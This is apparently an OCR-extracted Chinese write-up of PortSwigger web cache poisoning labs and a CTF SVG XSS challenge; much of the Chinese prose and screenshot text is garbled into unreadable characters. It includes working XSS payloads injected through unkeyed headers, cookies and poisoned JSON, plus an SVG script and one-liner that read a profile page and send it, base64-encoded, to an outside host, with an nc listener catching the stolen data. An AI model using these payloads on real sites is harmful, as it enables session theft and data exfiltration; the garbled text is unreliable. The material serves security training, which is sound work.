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= ZHEEENKRSH A
BAEA RIS, TESHHITE Uk BAH BT RIS RHE. KB LA T LA
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Hiht: Web cache poisoning
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B RRH T REEREFBE

AR HILASSESRE AR, #iE T Payload It KIXTER G, #HEFR— BN A REHREH . FRNEHE GRS 820 L
ETGRATVI, XA R R GAF A B R ik -

1. ZEBRFZIHRFENERIFA

B i 2 {5 PR A G2 A SR 3 25 2R BT HH B uridtu ik, BB 5 FAHTTP Sk 38 v 9 “X-Forwarded-Host" 7 Bk i B AR &
Javascript3 34 (host).  BATAT LB T 3R AN IX AL 7 BOREAT A7 1H

A E #btik: Lab: Web cache poisoning with an unkeyed header

B H BFr: #AXSS payloadFH# Hcookie. Bl: alert(document.cookie)

Hint: XANSEI#H T X-Forwarded-Host k&

XL R L, @ id Brupsuite il —ANX-Forwarded-Host, #)i&—/NXSS Payload B 7] #: % .

X-Forwarded-Host: baidu.com"></script><script>alert(document.cookie)</script>

GET / HITP/1.1 4 HITP/1.1 200 OK
Host: accd1fbfle564c0780b9177400850065, web-secur ity-acadeny. net I Content-Type text/html charset=utf-§
o clos

o
Upgraﬂe Insecuxe Requests

11a/5.0 :wlndm NT 10.0; Win64: x64) AppleVebEit/537.36 (KHTML. like Gecko) Chrome/80.0.3987.163

L .~ Tote
x—Fnrwuded—ﬁnn baidu. con’></script><script>alert (document. cookie) (/scxlpt>| Content-Length: 10657
Aecept: <IDOCTYFE html>
text/htul, application/zhtnl+xnl, application/xnl:q=0.9, inage/webp. inage/apng, *#/+:q=0.8, application/signed-exchange v=h <htnl>
3:0=0.9 <hzad>
Sec—Fetch-Site: cross-site -/ css/1absEconmer 1="styleshest”>

Hod:

"/ /b pt><seriptoalert (doc . pi>/resources/js/tracking. js”>¢/serip
oisoning with an unkeyed header</title>
htr.ps //portsvigger. net/web— secunty/veb cache-poisoning/exploiting/1 B 3 e
Accept-Encoding: gzip. deflat, <body>
Accept-Language: zh-CH, zh:q=0. o en =0, 8, und; g=0. <div theme="ecommerce”>
wolcie:  secsionmuBE Ky BTl hilizwmnB<0f TSN oTTq <seript sre="/resources/js/labHeader. j&">¢/serip

<div 1d="labHe. d >

<section class="pageHeader">
<div class="container”>
ing nages/logoAcadeny. svg”>

x
ming with an unkeyed header</h2>

ink’ class='button’ target="_blank’
b-security-acadeny, net’ *Go to exploit server</a’

<a i
href="https: //acaf 1£7ale064cf 08|
<

ac c]
href="https: //portsvigger. net/web-s: b-cache-poisoning/exploiting/1

1¢="Layer_1”
=70 0 28 307

bep;
snlns="http: //wew. v3. org/2000/svg" smlns:xlink="http://ww. w3, org/1999/1ink’ =="0px" y="Opz"
enable-background="new 0 0 28 30" znl:space="preserve” title="hack-arrow’>
>
<polyeon points="1.4,0 0,12 12.6,15 0,26.8 1.4,30 15.1,15"></polyeon>
<polygon points="14.3,0 12.0,1.2 25.6,15 12.0,28.8 14.3,30 28, 15"></polygon>
/g
<fsve>

2. A 2 Cookie T BIIXSS

2 Cookie ™ P 2B B BT HE LI FBXSS, TiCookie T BAE T EIF T . BT LUHikpayload # 1T B .
JBLE Hubk: Lab: Web cache poisoning with an unkeyed cookie

B H B¥5: #AXSS payload3fiiii1. Bl alert(1)

U < [Bl & cookie B BljsRiEH, ti&payload Bl AT 3 H 1.

fehost=prod-cache-01"}%3Balert(1)%3Babc={"":"


https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-with-an-unkeyed-header
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Al

Raw | 28 | % | Hex

Lol)

Raw | % | Hex | HTML | Render

GET / HITP/L.1
Host: achT1£6bifc8525e80e8075000bd00Se. web-security-acadeny. net

Comnection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NI 10.0: WinS4: x64) AppleWebKit/537.36 (KHTML. like Gecko)
Chrone/80. 0. 3987. 163 Safari/537. 36

Sec-Fetch-Dest: decument

Accept

text/htnl, application/shtnltxnl. application/xnl g=0. 8, inage/webp, inage/apng. */+: q=0. 8, application/
signed-exchange;v=b3;q=0.9

Sec—Fetch-Site: cross-site

Sec—Fetch-Hode: navigate

Sec-Fetch-User: 71

Referer

https://portswigger. net/web-security/web-cache-poisoning/exploiting/ lab—web-cache-poisoning-with-a
n-unkeyed-cookie

Accept-Bncoding: gzip. deflate

Accept-Language: zh~CH, zh:q=0. 9, en:q=0. 8, wnd:q=0.

Cookie: session=theGwVuk9e9vtigul 9cQ6UsiNKenclios: [fehost=prod-cache=01"1%3Ealext (1)%3Babe={"" "

3. Z4HeaderF KW EHFR T

-

HITP/L.1 200 OK

Content-Type: text/htnl; charset=utf-3
Comection: close

Cache-Control: max-age=30

Age: O

%-Cache: miss

Y-X¥SS-Protection: 0

Content-Length: 10558

<!DOCTYPE html>
<htnl>
<head>
link href="/resources/css/labsEcommerce. css” rel="styleshest”>
<seript>
data = {
“host”: “achT1£6b1f 7
“path”; "/"
{frontend”: "prod-cache—01"} ;alert (1) :abc={"": "~
¥
</seript>
‘title)Web cache poisoning with an unkeyed cockie(/title>
</head>
<body>

<div theme="ecommerce”>
<seript sre="/resources/js/labHeader. js"></script>
<div 1d="labHeader’>

<section class="pageHeader”>
<div class="container”>

1y net”,

EEPA LKA R — A HeaderP AR SR FE. ELEFERSH L MHeaderBit & RETFIA

A E Hhk: Lab: Web cache poisoning with multiple headers

BHH#Ar: #HAXSS payloadF+# Hcookie. B: alert(document.cookie)

Hint: 345 H T X-Forwarded-Host il X-Forwarded-Scheme 3k#B.

B AR T LR, WRIEE T X-Forwarded-Scheme SkE AR Nhitps. M T 2747302864 3 https:// + X-Forwarded-

Host i€ MItthkH % .

fEPUIXTE R B A Re BN £ TUSAT IR, TR ZX TUE NS S AT 508 . XA PF L BATRA T — WK, T

TE AN T A4 i& payload 34T VA F

o i 4MERjs paylaod:
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Craft a response

URL: https://acbc1f171eefdcb380f31bdb01c7000c. web-security-
academy net/resources/js/tracking js

HTTPS

|

File:

frescurces/Jjs/tracking.js

Head:

HTTP/1.1 200 CK
Content-Type: text/html; charset=utf-§&

Body:

alert (document.cookis)

o XPAMERjsHEAT

X-Forwarded-Host: ac5c1fl17leef4cb380f31bdb01c7000c.web-security-academy.net
X-Forwarded-Scheme: http://


https://xzfile.aliyuncs.com/media/upload/picture/20200427115922-7a9fa0a4-883b-1.png

Lk

Raw | S#1 | 5 | Hex

WaR

Raw | 3k | Hex

GET /resources/js/tracking. js HITP/1.1
Host: acT81f241e4f4c8280cT1be50097002e. web—security—acadeny. net
Comnection: close

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64) AppleWebEit/537.36 (KHTML,

1ike Gecko) Chrome/80.0.3987. 163 Safari/537.36

Sec-Fetch-Dest: script

“Forwarded Host: acsclfl(1eef4cbaB0falbab0lc 000, web-security academy. net
—Forvarded-Scheme: http

Accept: #/#

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: no—cors

Referer: https://acT81f241e4f4c8280cT1bc50097002e. web-security—acadeny. net/
Accept-Encoding: gzip. deflate

Accept-Language: zh-CN, zh:q=0. 9, en:q=0. 8, und: g=0. T

Cookie: session=Rg33z]6baysB01yDULONCNVEQZGa3E4C

4. ZERBELZIABTAE—NEZFR

3

HITP/1.1 302 Found

Location: https://achelflTlesf4ch380E31bdb01cT000¢. web-security-acadeny. net[resources/ js/tracking. js
Comnection ™ TTOET

Cache—Control: max-age=30

Age: 27

¥-Cache: hit

¥-XSS-Protection: 0

Content-Length: 0

LRSS A B varyE E A AN HE— I ZIFRN, RAIFE Sl — M7 N eRNB|ZFE, FEdHEXNEFRIONE

RBATHE . RELKH T

A E Httk: Lab: Targeted web cache poisoning using an unknown header

BHHPR: #AXSS payloadF+# Hcookie. B: alert(document.cookie)

XERAHNt, FEACEIHR—MERNIEZFR. @S FEHParam MinerTHE, FHBT —4> x-Host FB, 7 LAIE & TUIH 1)
jsii4 (host)e (IXMRFRTRIFA, BAMLTERATBHMNE, R-EFUNREZRNTFR. )

TERR S AR IR B SR AT A, varyF B8 T User-Agent N B /74, WRBMES BRA A BENE, M55 miE MK User-
Agent. BHBHUH: AFo#&FEEZUAXERR. RAITLERTFE—NEA, BB PSSy EHeaderf it .
XEEHL AT LACEE R B 45 P i Header, HiBit$E ©Headeri# 1T % .

o XEIFLFENE & User-Agent


https://xzfile.aliyuncs.com/media/upload/picture/20200427115930-7f091422-883b-1.png
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Leave a comment

Comment:
HTML is allowed

<img src="https://acdc1fdc1f5adé8580a66d5801540073 web-security-academy net/exploit"=

Name:

Email:

1{@qqg.com

Website:
http://baidu.com

Post Comment

W4 F Y User-Agent:

103, 2020-04-26 +0000 "GET /resources/css/labsDark. css HITP/1. 17 200 "User-bgent: Mozilla/5. 0 (Vindows NT 10.0; Win64: x64) AppleVebKit/537.36 (KHTNL, like Gecko) Chrome/80.0.3987. 163 Safari/537.36"
102, 2020-04-26 +0000 "GET /resources/images/ps-lab-notsolved. svg HTTP/L. 17 200 “User-Agent: Nozilla/5.0 (Windows NT 10.0; Vin64; xz64) AppleWepKit/B37.36 (KHTNL, like Gecko) Chrome/%0.0.3987.163 Safari/537.38"
103. 7. 2020-04-26 +0000 “GET /favicon. ico HTTP/1. 17 200 “User nt: Mozilla/5.0 (Windows NT 10.0; Win64: x64) AppleWebKit/537. 36 (KHTHL, like Gecko) Chrome/80. 63 Safari/537. 367
172.31.31. 216 2020-04-26 40000 "GET /exploit HTTP/1.1” 200[ User
. 7.29.6 2020-04-26 +0000 "GET fexploit HITP/1.17 200 =Egent: Mozilla/5. U Windows NI 0.0, Vinbd, zb4] AppleVebkit/oar. . aTari /537, 367
L7206 2020-04-26 +0000 "POST / HITP/1. 17 302 “User-hgent: Mozilla/5. 0 (Vindows NT 10.0; Winéd: x64) AppleVebKit/537.36 (KHTNL, like Geckn) Chrome/80.0.3987. 183 Safari/B37.36"

o XN ETHTHE
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Raw | £8 | % | Hex

Lol

Raw | % | Hex | HTML | Render

GET / HITP/1.1

Host: acT11£3b1£92d82e801£6d2c00a500be. web-security-acadeny. net
Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1
Eser—_‘&gent Mozilla/5.0 (X11: Linux z86_64) AppleWebKit/537.36 (EHIML. like Gecko) |
frome/ (5. 0. 3710, 140 Satari/o3i.
Sec-Fetch-Dest: document
Accept
text/htnl, application/zhtnl+znl, application/zml; q=0.9, inage/webp, inage/apng, #/#: q=0. 8, application/sig
ned-exchange ;v=h3: q=0. 8
Sec-Fetch-Site: same-origin
Sec-Fetch-Hods: navigate
Sec-Fetch-User: 71
Referer: https://acT11f3b1£92d82e801f6d2c00a300he, web-security-acadeny. net/postfpostId=2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CH, zh:g=0.9, en:q=0. 8, und; g=0. 7
Cogkic ession=TushTi ToMexPLNTOVAG ki
X-Host: acdclfdclf5adiss d5801540073.

br rity-academy. net

5. 257 $t% 2 DOMZE! [ 3% i (DOM-XSS)

T

HITR/1.1 200 OK

Content-Type: text/html; charset=utf-g§
Vary: User-Agent

Comection: close

Cache—Control. max-age=30

Age: 7

E-Cache: hit
H-XSS-Protection: 0
Content-Length: 7169

'DOCTYPE html
<html>
<head>

L i P
ste= //acdelidclE5adBE5 . web-seeur ity-acadeny. net/resources/ js/tracking. = Jecripts
T T g e et We TRCie PO TS OIS T AT I TowIT e nteT
</head>
<hody>
<div theme="blog">
<script sre="/resources/js/labHeader. js”»</script>
<div id="labHeader”>

TITIE

¢section class="pageHeader is-solved’>
<div class="container”>
<img src="/resources/images/logodcadeny. svg”
<div class="title-container”>
<hZ’Targeted web cache peoisoning using an unknown header</h2>
<a class="link-back”
href="https: //portswigger. net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning—ta
rgeted-using-an—unknown-header” >

R Wik il JS A5 S SR IR BRI b B LAt 04, an SR X 2R B AR 55 48 O B AT R BR IK 3 , WT e S B T DOMEIR

. i DOMA XSS
7 H M

A H B Ax:

Lab: Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria

1 AXSS payloadF# Hcookie. BJ: alert(document.cookie)

HoeEFEETParam MinerLEFH— N R AR FEB . WHIEE X-Forwarded-Host F Bk % B data$id H ihostZ Bt . XM

BAE 2 J5 RV jsonBE i SRR I b bk o

T XA — B s SRR BUH P It X . F B Hjson 44 @i DOMERE K 7 X B AT £

<script>

initGeoLocate('//' + data.host + '/resources/json/geolocate.json');

</script>

LbHjsonfjs:

function initGeolLocate(jsonUrl)
{
fetch(jsonurl)
.then(r
.then(j
let

=> r.json())
=>{

geoLocateContent =

let img = document.createElement("img");

document.getElementById('shipping-info"');

img.setAttribute("src", "/resources/images/localShipping.svg");

geolLocateContent.appendChild(img)

let div = document.createElement("div");
div.innerHTML = 'Free shipping to

geolLocateContent.appendChild(div)

BRIABjsoni i :

"country": "United Kingdom"

+ j.country;


https://xzfile.aliyuncs.com/media/upload/picture/20200427115956-8e67a49c-883b-1.png
https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-to-exploit-a-dom-vulnerability-via-a-cache-with-strict-cacheability-criteria
https://github.com/portswigger/param-miner

BATAT LUA S #3E X-Forwarded-Host FBRXfdata.hostif /788 . H4jsIRENMjsonBi il bk 15 s A EA T B E btk . BEHNES
A B T TH HiE XSS .

o i&Pyload

"country": "<svg onload=alert(document.cookie)>"

FEERNR, BRERFHLETFERECORS, NRISIKEA T IE IR

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *

o Uil U BEAT B0 3

i :LEC] <|v >|r B17: hitps:/lac9311621e87e0{fB059a37f0011000a.web-security-academy.net /l
Ak Lils)

Raw | &8 | 2k | Hex Raw | 3k | Hex | HTML | Render

GET / HITF/L.1 A HITB/L.1 200 OK
Host: ac931£621e87e0f£8059a37E0011000a. web-security-acadeny. net I Content-Type: text/htul; charset—utf-g
Cormection: close Commection: close
Cache-Control: max—age=0 Cache—Control: max-age=30
Upgrade-Insecure-Requests: 1 Age: 29
User-Agent: Mozilla/6.0 (Windows NI 10.0; Vinb4; =64) AppleVebKit/537.36 (KHIML, like Gecko) ¥-Cache; hit
Chrome/80. 0. 3987. 163 Safari/537. 36 §-XS5-Protection: 0
Sec-Fetch-Dest: document Content-Length: 11166
Accept
text/htnl, application/zhtmnl+znl, application/zml:q=0. 9, inage/webp, inage/apng, #/#: q=0. 8, application/signed-e 'DOCTYPE html>
schange ;v=h3;q=0. 0 <html>
Sec-Fetch-Site: none <head>
Sec-Fetch-Mode: navigate <link href="/resources/css/labsEcommerce. css” rel="stylesheet”>
Sec-Fetch-User: 71 <script type="text/javascript’ sre="/resources/js/geolocate. js"</script?
Accept-Encoding: gzip, deflate <scxipt
Accept-Language: zh—CH, zh:q=0. 9, en;q=0. 8, und: q=0. 7 data = {
Caal 1025 100KV L pOFQSNARE 3T 2nfnSsc | “host”: “ach91f5b1ed6e0bc808ea368014d0015. web-security-academy. net”,
-Forwarded-Host: acb91f5hledse0bc8082a368014d0015. web-seourity—acadeny. net “path”: "/",
3
<

T
<title’Wek cache poisoning to exploit a DOM vulnerability via a cache with
strict cacheability criteria</title”

</head>

<hody>

<div theme="ecommerce” >

<script sre="/resources/js/labHeader. js*</script>
<div id="labHeader”>

<section class="pageHeader”>
<div class="container”>
<img sre="/resources/images/logodcadeny. svg” >
<div class="title-container’>
<h2:*Web cache peisening te expleit a DOM wvulnerability via
a cache with strict cacheability criteriad/h2>
<a id=" exploit-link’ class="button’ target="_blank’
href="https: //ach91f5b1ed6e0bcB08a368014d0015. web-security-acadeny. net’ 6o to expleit
serveri/a:

6. TAEEFREZFNRE

I ATESAN Y, AT T ARG ANEFRE. HEERRERFERIBSNIARATANEZFRFRALER, LHES.
7 B I A IR -

B H Hbhtk: Lab: Combining web cache poisoning vulnerabilities
BH B¥r: #AXSS payloadFH# Hcookie. Bl: alert(document.cookie)
BERR: FAPES 8T H CRIES BRSEnglish.

BB R


https://xzfile.aliyuncs.com/media/upload/picture/20200427120007-95108930-883b-1.png
https://portswigger.net/web-security/web-cache-poisoning/exploiting/lab-web-cache-poisoning-combining-vulnerabilities

1. AP LG RREEESYIMUENIES

B E 5k B WU Hjs I 5 i B B json S 4

BT IES RSV /setlang/es 0, # B cookie.

FE W ijsidid KA cookie (K {E Hjsonf EZN 25 B B WHIE 5

A w0 D

7B BT A BB

1. BiEParam Miner T E AT LRI B 7B . X-Forwarded-Host A] LA¥E % W 1 Hdata.host, J& T F/Ejson$diE i1,
4. X-Original-URL B DA T THI Bk % 2 R4 4 148 % Murl 2.

2. B xtjskh BB K, json enFBURBEE Apayload. HAhiE = W LLED B "View details" 5k i# A Payload.
3. FIANHLEBLEE bk

1. /setlang/es W E1EF, iR[ESetCookiek.
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2. [?localized=1 & B 5815
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1. HFHEL(en)Hreit Epayload, FrUABRAIR GEiEIT & E X-0original-URL 3Tk P& E N HMARKIES.
2. B E —MiE S T iixsspayload, ikF 7 aRAT BRI Sk

B
1. jsonZ#E TUHE #E, LA EREEIE B M7 A xss payload I HE .
3P

o BFEETILA T RITBHE ZlcniE &

Bk L[S

Raw | &#1 | 3 | Hex Raw | 3% | Hex
GET / HITP/1.1 = HTTP/1.1 302 Found
Host: o Location: /setlang/cn
ac3alfb21e074a6f80784862000800f c. web—security—acadeny. net OImection. close
Connection: close Cache-Control: max-age=30
Pragma: no-cache Lge: 0
Cache—-Control: no-cache ¥-Cache: miss
Upgrade-Insecure-Requests: 1 ¥-X55-Protection: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =64) Content-Length: 0

AppleWebKit/537. 36 (EHTML, like Gecka)

Chrome/80. 0. 3987. 163 Safari/537. 36

Sec—Fetch-Dest: document

Accept:

text/htunl, application/zhtnl+znl, application/=ml;q=0.9, inage
Swebp. inage,/apng, */*;q=0. 8, application/signed-exchange ;v=h3
1g=0.9

Sec-Fetch-Site: cross-site

Sec—Fetch-Mode: navigate

Sec—Fetch-User: 71

Referer:

https://portswigger. net/web—security/web-cache-poisoning/ex
ploiting/lab-web-cache-poisoning-combining—vulnerabilities
Accept—Encoding: gzip. deflate

Accept—Language: zh-CN, zh:g=0.9, en;g=0. 8, und ; g=0. 7

Cookie: session=eStall2bEf1RduMSzElTudvR] ICzpmGY
X-0Original-URL: /setlanghcn



https://github.com/portswigger/param-miner
https://xzfile.aliyuncs.com/media/upload/picture/20200427120016-9a48fae0-883b-1.png

XEBEEATrickBi £ X-original-URL FEREWR BN /setlang\cn, AR /setlang/cn » XEFEANEEBELTESE set-
Cookie ZB, SHMMELERAF. MENMHRELGE T —MEE—K \ B¥h / . BEASH set-Cookie FET

o & /?localized=1 T ik F P L BB % & B

Wk Lol

Raw | &2 | %k | Hex Raw | 3 | Hex | HTML | Render

GET /?localized=1 HTTP/1.1 A HITP/1.1 200 OE
Host: ac3alf521e074a6f80784862000800f c. web—security-academy. net r Content—Type: text/html; charset=utf-§
Connection: clese Connection: clese
Upgrade-Insecure-Requests: 1 Cache—Control: maz-age=30
User-Agent: Mozilla/5.0 (Windows NT 10.0: WinB4: =64) AppleWebK1t/537.36 (EHIML. like Gecko) Age: O
Chrome/80. 0. 3987. 163 Safari/537.36 K-Cache: miss
Sec-Fetch-Dest: document K-i85-Protection: 0
Accept Content—Length: 11223
text/htnl, application/zhtml+znl, application/znl: q=0. 9, image/wehp. inage/apng, */* q=0, §, application/
signed-exchange v=h3:q=0.9 'DOCTYFE html
Sec-Fetch-Site: same-origin <html>
Sec-Fetch-Mode: navigate <head>
Sec-Fetch-User: 71 “link href="/resources/css/labsEcommerce. css” rel="styleshest™>
Referer: https://ac3alf521e074a6f80784862000800fc. web-security-academy. net/ <script type="text/javascript” src="\resources\js\translations.js"></script>
Accept—Encoding: gzip, deflate <script>
Accept-Language: zh-CH, zh;q=0. 9. en;q=0. 8, und; q=0. 7 data = {
Cookie: session=eStal02bBf IRduMSzE1lWudvRITCzputY; lang=cn | "host”: "acbalffele5a480180940d63011800aa. web—security-academy.net”, |
{-Forwarded-Host: achalffele5ad80180040d62011900aa. web-security—academy. net path™: 7/,
}
| <[seript>
<title’Combining web cache poisoning wvulnerabilities</title>
</head>
<hody>

EE I Header:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *

T = json$ i :

Ilenll : {
"name": "English"

1
"cn": {
"name": "a",
"translations": {
"Return to list": "123",
"View details": "<svg onload=alert(document.cookie)>",

"Description:": "456"

A LA A Brupsuite R4k I B/ T RIS BUR HEAT 08, AR5 00 T R 0V D AR 8.
M. T RERECTFE

THEBRZFRBRANXEXE: Bl E8 T HEFHRFNSVG XSS BINMCTRFEERANERHKNE. RXBERLFER—T
fa AL R .

A E otk http://web50.zajebistyc.tf/
1E H R R
HJESVG XSS Payload L& ZIRs58%, & R bk KXk 4B #H J BRI 3REFlag. (http:/***//Z H K vpsiihk)

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svgll.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.0rg/2000/svg" xmlns:xlink="http://www.w3.0rg/1999/x1link" x=


https://xzfile.aliyuncs.com/media/upload/picture/20200427120023-9ebfd792-883b-1.png
https://xz.aliyun.com/t/4492
http://web50.zajebistyc.tf/
http:/%E6%98%AF%E8%87%AA%E5%B7%B1%E7%9A%84vps%E5%9C%B0%E5%9D%80

"Opx" y="0px" width="100px" height="100px" viewBox="0 @ 751 751" enable-background="new © © 751 751" xml:space="
preserve"> <image id="image@" width="751" height="751" x="0" y="0"
href="data:image/png;base64, iVBORWOKGZOAAAANSUhEUgAAAUSAAALVCATIAAABa4bwGAAAATIGNIUKOAAHOMAACAhAAA+gAAAIDO" />
<script>
fetch("/profile").then(function (e) {
e.text().then(function (f) {
console.log(btoa(f));
fetch("http://***/?" + btoa(f))
)]
)

</script>
</svg>

[root@VK 16_centos ~]# nc -lvvp 4545
: Version 7.5@ ( https://nmap.o
Listening on 545
Listening on ©.0.0.0:454
Connection from 167.
: Connection from 167.

YWRtaW4KPG1tZ: GFyL2R1ZmF1bHQvZHVjay5wb
ZGFOYSI+CiAgICABZG12PgogICAgICAgIEZpc JBbmFtZTUKICAGIDprnEJdCBBEXBJPSTUZXhUIiBuYWIlPSJNGX]
VBIHR5cGUIInR1eH: UYW11TiB2YWx1ZT@iTmIzYWN6Ij4KICAgIDw AgICBTaG91c
cHRpb24gdmFsdHUIT My T b3 gogICAgIC x pb24gdmFsdWUITjMzT] 3BOaWIuPE

24 gdmFsdWU9
b3B@aW9uPgogICAgIC

dmFsdWU9T5Q
3BBalW9uPgogICAgICAgL
4ﬂde'dWUSIj041j4BODh

BaW9uPgogICAgICAgL
AgdmFsdWUSIFQ5I7400Tw

HRpDZ4gde;dHUSIjUijAlHD

dmFsdWUITiQ8T;48

HRpb24gdmFsdWU9IT Uy 41 3BBaWIuPgogICAgICAgIDxvcHRpb24gdmFsdWUST U BBaWIuPgogICAgIC cHRpb24gdmFsdWUITjUBT
vb3B@aH9uPgogICAgICAgIDxvcHRpb24gdmF sdWUSTFU2 T 41N uvb3 c > nFsdWU9T USI 41N 3B@aN9uPgogICASICAGTD

LAgde)dHUEIjU4Ij410D
bWUSInHlYiTld(IgdedeUSInABe:El

HTTP/1.1
Host: 4545

Connection: keep-alive
in: http eb50 . zajebisty:

_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/7

B 4] 5 Fpayload, it IE W) UL AC YRS+ W secret:

fetch("/profile").then(function(e){e.text().then(function(f){new/**/Image().src="//avlidienbrunn.se/?"'+/secret(.
*)>/.exec(f)[0]1})})
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SFOT R BTE RO BT A, R4 R A R 0 R IR DA T LA
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RXJLRBUR A 5 13 1 27 BB payload, (HEZAAEZFMIRNFIE, ZEZIMKKIRE], AREHMXA 2V EH

—/\Qféﬁ EMERF A XA ZHEHREFN, RINTFEWEL 58 BB RSJHETHHE. XEREEE THARexp
ME: https://ctitime.org/writeup/13925
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https://xzfile.aliyuncs.com/media/upload/picture/20200427120034-a5741508-883b-1.png
https://ctftime.org/writeup/13925
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https://www.anquanke.com/post/id/156356
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